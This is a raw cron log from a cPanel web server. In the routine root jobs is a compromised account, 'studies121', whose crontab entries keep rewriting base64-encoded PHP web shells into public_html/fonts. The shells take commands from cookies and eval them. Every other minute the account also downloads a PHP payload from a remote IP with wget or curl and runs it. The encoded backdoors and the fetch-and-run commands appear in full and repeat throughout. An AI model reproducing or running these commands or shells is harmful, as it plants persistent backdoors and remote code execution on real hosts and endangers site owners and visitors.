Sep 22 17:57:01 ip-184-168-122-23 CROND[9265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:57:01 ip-184-168-122-23 CROND[9267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:57:01 ip-184-168-122-23 CROND[9268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:58:01 ip-184-168-122-23 CROND[10040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:58:01 ip-184-168-122-23 CROND[10041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:58:01 ip-184-168-122-23 CROND[10044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:58:01 ip-184-168-122-23 CROND[10043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:58:01 ip-184-168-122-23 CROND[10046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:59:01 ip-184-168-122-23 CROND[10867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:59:01 ip-184-168-122-23 CROND[10868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:59:01 ip-184-168-122-23 CROND[10872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:59:01 ip-184-168-122-23 CROND[10874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:00:01 ip-184-168-122-23 CROND[11617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:00:01 ip-184-168-122-23 CROND[11624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:00:01 ip-184-168-122-23 CROND[11621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:00:01 ip-184-168-122-23 CROND[11623]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 18:00:01 ip-184-168-122-23 CROND[11619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:00:01 ip-184-168-122-23 CROND[11626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:00:01 ip-184-168-122-23 CROND[11620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:00:01 ip-184-168-122-23 CROND[11622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:00:01 ip-184-168-122-23 CROND[11627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 18:01:01 ip-184-168-122-23 CROND[12547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:01:01 ip-184-168-122-23 CROND[12545]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 18:01:01 ip-184-168-122-23 CROND[12548]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 18:01:01 ip-184-168-122-23 CROND[12553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:01:01 ip-184-168-122-23 CROND[12554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:01:01 ip-184-168-122-23 CROND[12556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12548]: starting 0anacron
Sep 22 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12572]: finished 0anacron
Sep 22 18:02:01 ip-184-168-122-23 CROND[13681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:02:01 ip-184-168-122-23 CROND[13683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:02:01 ip-184-168-122-23 CROND[13685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:02:01 ip-184-168-122-23 CROND[13686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:02:01 ip-184-168-122-23 CROND[13688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:03:01 ip-184-168-122-23 CROND[14437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:03:01 ip-184-168-122-23 CROND[14439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:03:01 ip-184-168-122-23 CROND[14440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:03:01 ip-184-168-122-23 CROND[14441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:04:01 ip-184-168-122-23 CROND[14859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:04:01 ip-184-168-122-23 CROND[14861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:04:01 ip-184-168-122-23 CROND[14863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:04:01 ip-184-168-122-23 CROND[14862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:04:01 ip-184-168-122-23 CROND[14864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:05:01 ip-184-168-122-23 CROND[15082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:05:01 ip-184-168-122-23 CROND[15083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:05:01 ip-184-168-122-23 CROND[15089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:05:02 ip-184-168-122-23 CROND[15087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:05:02 ip-184-168-122-23 CROND[15088]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:05:02 ip-184-168-122-23 CROND[15091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 18:05:02 ip-184-168-122-23 CROND[15090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:06:01 ip-184-168-122-23 CROND[15194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:06:01 ip-184-168-122-23 CROND[15196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:06:01 ip-184-168-122-23 CROND[15199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:06:01 ip-184-168-122-23 CROND[15197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:06:01 ip-184-168-122-23 CROND[15198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:07:01 ip-184-168-122-23 CROND[15311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:07:01 ip-184-168-122-23 CROND[15312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:07:01 ip-184-168-122-23 CROND[15315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:07:01 ip-184-168-122-23 CROND[15316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:08:01 ip-184-168-122-23 CROND[16099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:08:01 ip-184-168-122-23 CROND[16100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:08:01 ip-184-168-122-23 CROND[16097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:08:01 ip-184-168-122-23 CROND[16105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:08:01 ip-184-168-122-23 CROND[16106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:09:01 ip-184-168-122-23 CROND[17434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:09:01 ip-184-168-122-23 CROND[17436]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 18:09:01 ip-184-168-122-23 CROND[17439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
